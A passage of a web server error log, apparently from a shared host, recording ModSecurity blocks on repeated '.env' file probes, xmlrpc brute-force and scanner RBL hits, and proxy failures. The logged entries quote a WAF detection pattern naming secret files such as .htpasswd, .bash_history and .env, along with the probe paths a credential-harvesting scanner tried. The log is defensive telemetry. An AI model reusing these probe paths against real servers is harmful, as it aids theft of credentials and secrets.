13 18:16:46.116712 2026] [proxy:error] [pid 646876:tid 647047] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:46.116805 2026] [proxy_http:error] [pid 646876:tid 647047] [client 167.71.72.186:40124] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:16:46.117814 2026] [proxy:error] [pid 646876:tid 647047] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:46.117877 2026] [proxy_http:error] [pid 646876:tid 647047] [client 167.71.72.186:40124] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:16:46.123784 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.42:46728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:46.124236 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.42:46728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:46.309209 2026] [security2:error] [pid 648189:tid 648396] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/aws/.env"] [unique_id "ai3y7lWSojQL4F7upKBfSQAAALA"] [Sat Jun 13 18:16:46.335338 2026] [security2:error] [pid 648189:tid 648297] [remote 17.246.23.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y7lWSojQL4F7upKBfSwAAq0s"] [Sat Jun 13 18:16:46.343954 2026] [security2:error] [pid 648189:tid 648332] [remote 94.100.26.212:58356] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.26.100.94.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.shortstaygem.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3y7lWSojQL4F7upKBfSgAAvm0"] [Sat Jun 13 18:16:46.344254 2026] [security2:error] [pid 648189:tid 648411] [client 94.100.26.212:58356] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.shortstaygem.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3y7lWSojQL4F7upKBfSgAAvm0"] [Sat Jun 13 18:16:46.349598 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:46.350067 2026] [access_compat:error] [pid 646876:tid 646893] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:46.369267 2026] [security2:error] [pid 648189:tid 648245] [remote 17.241.219.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y7lWSojQL4F7upKBfTQAA2Rg"] [Sat Jun 13 18:16:46.441688 2026] [proxy:error] [pid 648189:tid 648420] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:46.441781 2026] [proxy_http:error] [pid 648189:tid 648420] [client 167.71.72.186:40134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.steamif.org/ [Sat Jun 13 18:16:46.443252 2026] [proxy:error] [pid 648189:tid 648420] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:46.443296 2026] [proxy_http:error] [pid 648189:tid 648420] [client 167.71.72.186:40134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.steamif.org/ [Sat Jun 13 18:16:46.443943 2026] [security2:error] [pid 648189:tid 648369] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/azure/.env"] [unique_id "ai3y7lWSojQL4F7upKBfTwAAAJU"] [Sat Jun 13 18:16:46.578140 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/as-alias/.env"] [unique_id "ai3y7lWSojQL4F7upKBfUgAAAMw"] [Sat Jun 13 18:16:46.671558 2026] [security2:error] [pid 646876:tid 647051] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/dir/closedir_basic.phpt"] [unique_id "ai3y7tyTkdrNlD40tSGrMwAAACs"] [Sat Jun 13 18:16:46.712924 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/default/.env"] [unique_id "ai3y7lWSojQL4F7upKBfVwAAAQE"] [Sat Jun 13 18:16:46.847640 2026] [security2:error] [pid 648189:tid 648383] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/dev-env/.env"] [unique_id "ai3y7lWSojQL4F7upKBfXAAAAKM"] [Sat Jun 13 18:16:46.912044 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:46.912477 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:46.981072 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.99:56606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:46.981848 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.99:56606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:46.982217 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/empty-values/.env"] [unique_id "ai3y7lWSojQL4F7upKBfYgAAAOE"] [Sat Jun 13 18:16:47.091754 2026] [proxy:error] [pid 648189:tid 648446] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:47.091809 2026] [proxy_http:error] [pid 648189:tid 648446] [client 167.71.72.186:43134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:16:47.092995 2026] [proxy:error] [pid 648189:tid 648446] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:47.093437 2026] [proxy_http:error] [pid 648189:tid 648446] [client 167.71.72.186:43134] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:16:47.116818 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/filename/.env"] [unique_id "ai3y71WSojQL4F7upKBfaAAAAM8"] [Sat Jun 13 18:16:47.152328 2026] [security2:error] [pid 648189:tid 648353] [client 210.217.96.217:15515] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y71WSojQL4F7upKBfaQAAAIU"] [Sat Jun 13 18:16:47.152470 2026] [security2:error] [pid 648189:tid 648353] [client 210.217.96.217:15515] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y71WSojQL4F7upKBfaQAAAIU"] [Sat Jun 13 18:16:47.251148 2026] [security2:error] [pid 648189:tid 648412] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/override-value/.env"] [unique_id "ai3y71WSojQL4F7upKBfbQAAAL8"] [Sat Jun 13 18:16:47.284924 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.53:48944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:47.285372 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.53:48944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:47.385729 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/babel-plugin-dotenv/test/fixtures/prod-env/.env"] [unique_id "ai3y71WSojQL4F7upKBfcAAAAJg"] [Sat Jun 13 18:16:47.414449 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:16:47.414790 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:16:47.494698 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.86:45398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:47.495130 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.86:45398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:47.519171 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/back-end/app/.env"] [unique_id "ai3y71WSojQL4F7upKBfdQAAAIk"] [Sat Jun 13 18:16:47.626318 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.86:45400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:47.626675 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.86:45400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:47.653839 2026] [security2:error] [pid 648189:tid 648435] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/back/.env"] [unique_id "ai3y71WSojQL4F7upKBffAAAANY"] [Sat Jun 13 18:16:47.888139 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.98:29654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:47.888624 2026] [access_compat:error] [pid 646876:tid 646901] [remote 57.141.14.98:29654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:47.937265 2026] [security2:error] [pid 648189:tid 648469] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backend/config/.env"] [unique_id "ai3y71WSojQL4F7upKBfggAAAPM"] [Sat Jun 13 18:16:47.947769 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:47.948222 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:47.952717 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.8:36593] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:47.953163 2026] [access_compat:error] [pid 646876:tid 646905] [remote 57.141.14.8:36593] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:48.105897 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.32:32213] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:48.106325 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.32:32213] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:48.205917 2026] [access_compat:error] [pid 648189:tid 648246] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:48.207910 2026] [access_compat:error] [pid 648189:tid 648246] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:48.232710 2026] [security2:error] [pid 648189:tid 648362] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match 